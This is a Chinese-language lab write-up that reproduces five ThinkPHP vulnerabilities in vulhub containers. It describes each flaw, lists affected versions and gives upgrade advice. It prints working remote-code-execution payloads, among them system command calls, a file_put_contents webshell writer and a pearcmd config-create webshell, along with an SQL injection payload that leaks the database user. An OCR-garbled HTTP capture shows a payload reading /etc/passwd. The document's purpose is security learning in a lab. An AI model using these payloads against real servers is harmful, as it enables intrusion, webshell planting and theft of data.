一、ThinkPHP
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ThinkPHP，是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架。
最早诞生于2006年初，2007年元旦正式更名为ThinkPHP，并且遵循Apache2开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则，在保持出色的性能和至简的代码的同时，也注重易用性。并且拥有众多原创功能和特性，在社区团队的积极参与下，在易用性、扩展性和性能方面不断优化和改进。
ThinkPHP可以支持windows/Unix/Linux等服务器环境，正式版需要PHP5.0以上版本支持，支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展，ThinkPHP框架本身没有什么特别模块要求，具体的应用系统运行环境要求视开发所涉及的模块。
二、2-RCE
ThinkPHP 2.x 任意代码执行漏洞
漏洞描述
ThinkPHP 2.x版本中，位于 ThinkPHP/Lib/Think/Util/Dispatcher.class.php 路由解析代码中，使用preg_replace的/e模式匹配路由，/e 修饰符会把 preg_replace 的替换字符串当做 PHP 代码执行。
路由规则：
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
影响范围
ThinkPHP 2.x 全系列版本
漏洞复现
进入靶场环境，启动容器
root@ubuntu:~/vulhub# cd ./thinkphp/2-rce/
root@ubuntu:~/vulhub/thinkphp/2-rce# docker compose up -d
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构造正则表达式
s=/index/index/name/$%7B@phpinfo()%7D
[image: ]
修复建议
升级框架版本
三、5.0.23-RCE
ThinkPHP 5.0.23 远程代码执行漏洞
漏洞描述
ThinkPHP5 框架支持表单伪装请求方法，\_method POST 参数用来指定请求方法；底层Request类没有对_method做严格过滤校验
攻击者传入 _method=__construct，可以调用Request类的构造方法，变量覆盖 Request 类内部属性（filter、server等）;
filter可控指定回调函数（system/exec），server[REQUEST_METHOD]传入系统命令;
框架内部array_walk_recursive会调用 filter 指定的回调函数，传入可控参数，造成任意系统命令执行。
影响范围
ThinkPHP 5.0.x ≤ 5.0.23
ThinkPHP 5.1.x ＜5.1.31
漏洞复现
进入靶场环境，启动容器
root@ubuntu:~/vulhub# cd ./thinkphp/5.0.23-rce/
root@ubuntu:~/vulhub/thinkphp/5.0.23-rce# docker compose up -d
漏洞位置：http://192.168.84.174:8080/index.php?s=captcha
Paylaod为
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=系统命令
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注意：需要将GET请求方式修改为POST
修复建议
5.0 系列升级至 5.0.24+
5.1 系列升级至 5.1.31+
四、5-RCE
漏洞描述
ThinkPHP5 默认未开启强制路由，路由解析时对控制器名过滤不严，允许传入带反斜杠\的完整命名空间类名。
攻击者通过s参数指定控制器为\think\App，方法指定为invokefunction； invokefunction可以接收function、vars参数，调用call_user_func_array，执行任意 PHP 函数，造成远程代码执行 RCE。
影响范围
ThinkPHP 5.0.x ≤ 5.0.22
ThinkPHP 5.1.x ≤ 5.1.29
漏洞复现
进入靶场环境，启动容器
root@ubuntu:~/vulhub# cd ./thinkphp/5-rce/
root@ubuntu:~/vulhub/thinkphp/5-rce# docker compose up -d
payload：
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
[image: ]
命令执行payload
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
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写shell的payload
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要写入的文件内容url编码
修复建议
5.0 升级到 5.0.23+
5.1 升级到 5.1.30+
开启强制路由
五、in-sqlinjection
漏洞描述
ThinkPHP5 的whereIn数组参数解析存在缺陷，当传入格式为 ids[0,表达式]=1 的数组参数时，框架没有正确过滤逗号内的内容，直接带入 SQL 语句，造成SQL 报错注入。
影响范围
ThinkPHP < 5.1.23
漏洞复现
进入靶场环境，启动容器
root@ubuntu:~/vulhub# cd ./thinkphp/in-sqlinjection/
root@ubuntu:~/vulhub/thinkphp/in-sqlinjection# docker compose up -d
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payload
/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
数据库用户名和密码被爆出
[image: ]
修复建议
5.1 系列升级到 5.1.23 及以上
升级为最新版本
六、Lang-RCE
漏洞描述
在其6.0.13版本及以前，存在一处本地文件包含漏洞。
ThinkPHP 开启多语言功能（LoadLangPack中间件）时，lang参数可来自 GET 参数、Cookie、HTTP 请求头。
框架未对langset做路径过滤，允许../目录穿越，直接拼接路径后include()包含 PHP 文件，造成本地文件包含漏洞。
影响范围
ThinkPHP 6.x：6.0.1 ~ 6.0.13 
ThinkPHP 5.0.x：5.0.0‑5.0.12
ThinkPHP 5.1.x：5.1.0‑5.1.8
漏洞复现
进入靶场环境，启动容器
root@ubuntu:~/vulhub# cd ./thinkphp/lang-rce/
root@ubuntu:~/vulhub/thinkphp/lang-rce# docker compose up -d
payload
?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php
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访问shell.php文件
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修复建议
升级框架版本
移除多语言组件
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POST /index. php?s=captcha HITP/1. 1

Host: 192.168. 84. 174:8080

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36

Accept:

text/html, application/shtml+xnl, application/xml;q=0. 9, inage/avif, inage/web
p, image/apng, */+;q=0. 8, application/signed-exchange;v=b3;q=0. 9

" Accept-Encoding: gzip, deflate

Accept-Language: zh-CN, zh;q=0. 9

Cookie: PHPSESSID=b6a7728d94b049e0ba9845addel 70606
Comnection: close

Content-Type: application/x-www-form-urlencoded
Content-Length: 85

_method=__construct&filter[]=systemtmethod=getserver [REQUEST_METHOD] =cat
/etc/passwd

Pretty Raw Hex Render

1 HTTP/1.1 200 0K

2 Date: Thu, 22 Dec 2022 03:11:33 GMT

3 Server: Apache/2.4.25 (Debian)

4 X-Powered-By: PHP/T.2.12

5 Vary: Accept-Encoding

Connection: close

7 Content-Type: text/html; charset=UTF-8
§ Content-Length: 8251

o

root: /root:/bin/bash

1:daemon: /usr/sbin: /usr/sbin/nologin

12 bin:x:2:2:bin: /bin: /usr/sbin/nologin

ys:/dev: /usr/sbin/nologin

:4:65534: sync: /bin: /bin/sync

5 games:x:5:60: games: /usr/games: /usr/sbin/nologin

man: /var/cache/man: /usr/sbin/nologin

1p: /var/spool/lpd: /usr/sbin/nologin

18 ma)l x:8:8:mail:/var/mail: /usr/sbin/nologin

19 news news: /var/spool/news: /usr/sbin/nologin

20 uuep:x:10: 10:uucp: /var/spool/uucp: /usr/sbin/nologin

21 proxy:x:13:13:proxy: /bin: /usr/sbin/nologin

22 www-dat: 33:33:www-data: /var/www: /usr/sbin/nologin

3 backup: x:34:34:backup: /var/backups: /usr/sbin/nologin

‘4 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
:x:39:39 Jrcd /var/run/)rcd /usr/sbin/nologin

(admin) ./var/l)b/gnats: /usr/sbin/nologin
27 nobody: x:65534: 65534: nobody : /nonexistent: /usr/sbin/nologin
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